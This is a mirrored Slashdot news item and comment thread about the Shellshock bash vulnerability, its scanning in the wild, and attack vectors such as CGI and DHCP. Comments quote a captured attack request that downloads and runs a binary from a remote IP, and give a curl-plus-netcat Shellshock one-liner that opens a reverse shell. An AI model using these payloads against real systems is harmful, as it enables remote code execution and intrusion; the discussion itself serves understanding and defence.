Slashdot Mirror
Flurry of Scans Hint That Bash Vulnerability Could Already Be In the Wild
The recently disclosed bug in bash was bad enough as a theoretical exploit; now, reports Ars Technica, it could already be being used to launch real attacks. In a blog post yesterday, Robert Graham of Errata Security noted that someone is already using a massive Internet scan to locate vulnerable servers for attack. In a brief scan, he found over 3,000 servers that were vulnerable "just on port 80"—the Internet Protocol port used for normal Web Hypertext Transfer Protocol (HTTP) requests. And his scan broke after a short period, meaning that there could be vast numbers of other servers vulnerable. A Google search by Ars using advanced search parameters yielded over two billion web pages that at least partially fit the profile for the Shellshock exploit.
More bad news: "[T]he initial fix for the issue still left Bash vulnerable to attack, according to a new US CERT National Vulnerability Database entry." And CNET is not the only one to say that Shellshock, which can affect Macs running OS X as well as Linux and Unix systems, could be worse than Heartbleed.
The vulnerability is that a string that looks like a function definition can be constructed to be immediately executed prior to execution of the bash script. (This is to support truly ancient bash scripts back when functions were defined as VARIABLE()="() { body }".) However, a bug in that code means the entire value gets executed as a bash script, and so it's possible to append code to the function definition, and it'll get executed as bash code.
Essentially, it's lesson #1 why not to use eval() in your programs.
The danger is that user inputs in Web programs are frequently passed as environment variables to programs. This is especially true in CGI, where the request URI and HTTP headers are passed as environment variables.
This means if you use bash in your CGI, you can execute whatever command you like, as "apache" or whoever you're executing your CGI as. Remotely.
Wonder what the public key field is for?
Outside of malicious HTTP headers landing in environment variable in CGI land, I'm hard pressed to think of another reasonable vector for this bug to be a problem...
This blog post mentions php, c++, python, et alia, as another attack vector.
This means that web apps written in languages such as PHP, Python, C++, or Java, are likely to be vulnerable if they ever use libcalls such as popen() or system(), all of which are backed by calls to /bin/sh -c '...'. There is also some added web-level exposure through #!/bin/sh CGI scripts, calls in SSI, and possibly more exotic vectors such as mod_ext_filter.
There is evidence that this is being exploited in the wild.
Nginx and Apache servers using mod_cgi are two potentially vulnerable services.
The risk is that it is possible to modify environment variables which then could allow the execution of arbitrary code with the permissions of the parent process.
An example attack:
GET./.HTTP/1.0 .User-Agent:.Thanks-Rob .Cookie:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
Over at the Internet Storm Center http://isc.sans.org/ they have been updating their advisory and and a have a simple one-liner to test if a system is vulnerable.
Average Intelligence is a Scary Thing
You don't need to use bash as the cgi handler. You just have to execute bash from your cgi handler. Say by the system() function in the c library on a system where /bin/sh is bash.
And of course connecting having your linux machine try and get an IP via DHCP is a vector.
Heartbleed has already been confirmed at the initial attack vector for the breach of a large healthcare system that stole 4.5M patient identities. Given the difficulty tracing Heartbleed attacks, it's likely other systems were compromised in the same way.
Outside of malicious HTTP headers landing in environment variable in CGI land, I'm hard pressed to think of another reasonable vector for this bug to be a problem...
Unfortunately, attackers do not share your lack of imagination.
First of all, the CGI vulnerability is not about CGI scripts written in Bash, this is about any CGI script that at any point invokes a shell or invokes a program that invokes a shell (e.g. using the system call), irrespective of the actual shell command, on a system that uses Bash as the system shell (so pretty much all non-Debian based Linux distros).
Got that? any CGI program + any non-Debian Linux => vulnerable. (For once, the PHP programmers are ahead security wise due to the ubiquity of mod_php...)
Second of all, there are all kinds of non-CGI situations in which untrusted data is passed in environment variables. This is normally not a problem... unless that environment variable at any point is inherited by Bash.
The ISC DHCP client (dhclient) is the canonical example, as it runs a distro-specific shell script to set up the network once it gets a DHCP lease. Unustrusted values from the DHCP server are passed - you guessed it - in environment variables.
Basically, this Bash bug is really only exploitable by remote users because of some questionable decisions made in designing the software stack.
Hm, no, the fault here lies squarely with Bash choosing to interpret an environment variable called HTTP_USER_AGENT as a program to execute.
This is not about accepting arbitrary environment variables; CGI puts data in a few, well-defined variables. This is a perfectly legimiate use of environment variables. (And Windows does the exact same thing.)
You're right that using a "full-bore shell program" such as Bash as the system shell is moronic. It is, unfortunately, still the norm on all major Linux distros except Debian and derivatives (which use the limited Dash shell, which is not vulnerable).
Primarily, I think this is a wake up call for Fedora, SUSE and the others: Bash is a huge, complex component, evidently with insufficient security review, and should not be used as the system shell. Debian dropped it for performance reasons, but now we can add security concerns to the list. It can stay around for use as an interactive shell (though why you'd do that when you have zsh, I don't know...)
Here's a fun little test. This is assuming both the attacker and target have netcat installed. On a machine with the vulnerable bash and apache-cgi (behind a firewall for god's sake!) drop a file in your cgi-bin directory:
You should be able to go to
and get a listing of apache's cgi directory.
Now, from your attack machine run "nc -l -p 1234", and then (in another terminal) run "curl -A "() { :;}; /bin/nc attack.machine.ip.address 1234 -c /bin/bash". You now have a shell via netcat.
(from attacking machine netcat)
(on target)
Any program that a) listens on a socket and b) calls out to a shell with an argument partially constructed from user input is vulnerable if the shell is unpatched bash.
No, it's worse than that. You don't have to pass any arguments, and you don't even have to knowingly call shell - calling system() from a language that executes binaries in a shell context will do it, on systems that have /bin/sh point to bash (which is most of them these days).
In short, anything that inherits environment variables (like TERM, LANG, LC_COLLATE) and executes anything in a shell context is vulnerable. No passing of arguments or deliberate call of bash is needed.
Am I the only person who just assumed Bash was for users? Why would you let anybody run bash?
Why in the world would people thoughtlessly run any command under CGI? I didn't know about this bash feature but I never imagined placing a shell into CGI... it feels like giving the public a shell account. shells are user interfaces not servers. This feature is probably useful for users and they won't be able to easily disable it-- a bunch of specific case patches means it'll probably pop up in other misuses of bash.
I bet this has been used for decades by hackers for defacing websites, since the cgi-bin user often has write access to the html.
If you properly locked down cgi-bin just how much harm could they do in jail? (not that we should just jail shells and let people have at it, but the purpose for jailing your cgi-bin is to minimize damage.)
DHCP is interesting and new; I didn't know that the DHCP server could get my system to run bash commands... I guess I have to figure out what user the DHCP client runs under...
Democracy Now! - uncensored, anti-establishment news
Your router, access point and TV are probably using busybox and not bash.
Music is everybody's possession.
It's only publishers who think that people own it.
Fuck Beta
~John Lenno
I may be naive, but it's difficult for me to believe that someone thought up the attack vector from just thinking about shells in general.
It's not that hard to believe, maybe someone was designing some piece of software where they wanted to use functionality like that. They wanted to have the browser end up defining a function in bash, and then run some additional code, and did some tests to see if it would work. They found that not only will it work, but it will work a whole lot better than they thought it would. At that point, time to tell someone.
"Our two-party system is like a bowl of shit looking at itself in a mirror." - Lewis Black
Any program that a) listens on a socket and b) calls out to a shell with an argument partially constructed from user input is vulnerable if the shell is unpatched bash. Apparently DHCP does this: https://www.trustedsec.com/sep...
You have it somewhat wrong. The arguments to the shell are irrelevant as several mention below. However the program must set an environment variable to unchecked user input, something everybody seems to be missing. According to the advisory, DHCP has this bug in that it copies strings in the request (or at least the string identified by "114") to environment variables.
Not every program that calls system() sets environment variables to arbitrary text from the user, so not every program that calls system() is vulnerable, unlike a lot of people here are saying.